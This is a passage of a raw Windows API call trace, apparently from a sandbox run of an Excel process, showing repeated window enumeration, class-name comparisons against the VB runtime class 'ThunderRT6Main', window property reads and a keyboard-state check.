[0237.100] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.100] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0237.100] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0237.100] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.100] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.100] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0237.100] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0237.101] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0237.101] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0237.101] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.101] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0237.101] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.101] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.101] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.101] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0237.101] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.101] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.101] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0237.101] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0237.101] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0237.101] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0237.101] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.101] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0237.101] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.101] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.101] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0237.101] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0237.101] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.101] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.101] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.101] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0237.101] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.101] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.101] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.101] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0237.101] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.101] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.101] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.102] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0237.102] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="#43") returned 3 [0237.102] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0237.102] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0237.102] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0237.102] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.102] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.102] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0237.102] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0237.102] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0237.102] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0237.102] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.102] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0237.102] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0237.102] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0237.102] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0237.102] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0237.102] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.102] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.102] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0237.102] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0237.102] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0237.102] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0237.102] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.102] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0237.102] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0237.102] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0237.103] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.103] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0237.103] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0237.103] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0237.103] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.103] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0237.103] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.103] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.103] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.103] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0237.103] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0237.103] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0237.103] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0237.103] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0237.103] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.103] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.103] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0237.103] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0237.103] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0237.103] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0237.103] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0237.103] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0237.103] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0237.103] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0237.103] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.103] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0237.103] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0237.104] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0237.254] GetCurrentThreadId () returned 0xbdc [0237.254] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0237.254] GetDesktopWindow () returned 0x10010 [0237.254] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0237.254] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.254] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.254] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.254] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0237.254] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.254] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.254] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.254] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0237.254] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.254] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.254] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.254] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0237.254] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0237.254] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0237.254] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.255] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0237.255] GetClassNameA (in: hWnd=0x10136, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.255] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.255] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0237.255] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0237.255] GetClassNameA (in: hWnd=0x10134, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0237.255] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0237.255] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0237.255] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0237.255] GetClassNameA (in: hWnd=0x10076, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.255] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.255] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.255] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0237.255] GetClassNameA (in: hWnd=0x10074, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.255] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.255] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.255] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0237.255] GetClassNameA (in: hWnd=0x10060, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.255] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.255] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.255] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0237.255] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.255] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.255] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.255] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0237.255] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.256] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.256] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.256] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0237.256] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.256] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.256] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.256] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0237.256] GetClassNameA (in: hWnd=0x10078, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.256] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.256] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.256] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0237.256] GetClassNameA (in: hWnd=0x10056, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0237.256] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0237.256] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.256] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0237.256] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.256] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.256] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.256] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0237.256] GetClassNameA (in: hWnd=0x10058, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Button") returned 6 [0237.256] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0237.256] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.256] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0237.256] GetClassNameA (in: hWnd=0x10050, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0237.256] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0237.256] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.257] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0237.257] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.257] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.257] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.257] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0237.257] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.257] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.257] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.257] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0237.257] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0237.257] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0237.257] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.257] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x402d6 [0237.257] GetClassNameA (in: hWnd=0x402d6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="NUIDialog") returned 9 [0237.257] lstrcmpA (lpString1="NUIDialog", lpString2="ThunderRT6Main") returned -1 [0237.257] GetWindowThreadProcessId (in: hWnd=0x402d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.257] GetWindowLongA (hWnd=0x402d6, nIndex=-16) returned -2067267584 [0237.257] GetWindowLongPtrA (hWnd=0x402d6, nIndex=-6) returned 0x7fef1230000 [0237.257] GetWindowLongPtrA (hWnd=0x402d6, nIndex=-6) returned 0x7fef1230000 [0237.257] GetWindow (hWnd=0x402d6, uCmd=0x2) returned 0x102d4 [0237.257] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0237.257] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0237.257] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.257] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0237.257] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0237.257] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0237.257] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0237.257] GetClassNameA (in: hWnd=0x30154, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.258] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.258] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.258] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0237.258] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0237.258] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0237.258] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0237.258] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0237.258] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0237.258] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.258] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0237.258] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0237.258] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0237.258] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0237.258] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0237.258] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0237.258] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.258] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0237.258] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0237.258] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0237.258] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0237.258] GetClassNameA (in: hWnd=0x140264, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0237.258] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0237.258] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0237.258] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0237.258] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.258] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.258] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0237.259] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0237.259] GetClassNameA (in: hWnd=0x20360, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0237.259] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0237.259] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.259] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0237.259] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0237.259] IsWindowEnabled (hWnd=0x20360) returned 1 [0237.259] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0237.259] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0237.259] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0237.259] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0237.259] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0237.259] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0237.259] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.259] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0237.259] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0237.259] GetClassNameA (in: hWnd=0x10350, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.259] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.259] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0237.259] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0237.259] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0237.259] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0237.259] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.259] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0237.259] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0237.260] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0237.260] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0237.260] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0237.260] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0237.260] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.260] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0237.260] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0237.260] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0237.261] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0237.261] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0237.261] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.261] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0237.261] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0237.261] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0237.263] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0237.263] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0237.263] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0237.263] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0237.263] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0237.263] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0237.263] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0237.264] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0237.264] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da17f0 [0237.264] IMalloc:Free (This=0x7fefecb5380, pv=0x7da17f0) [0237.886] GetAsyncKeyState (vKey=27) returned 0 [0237.886] GetCurrentThreadId () returned 0xbdc [0237.886] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0237.886] GetDesktopWindow () returned 0x10010 [0237.886] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0237.886] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.887] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.887] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.887] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0237.887] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.887] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.887] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 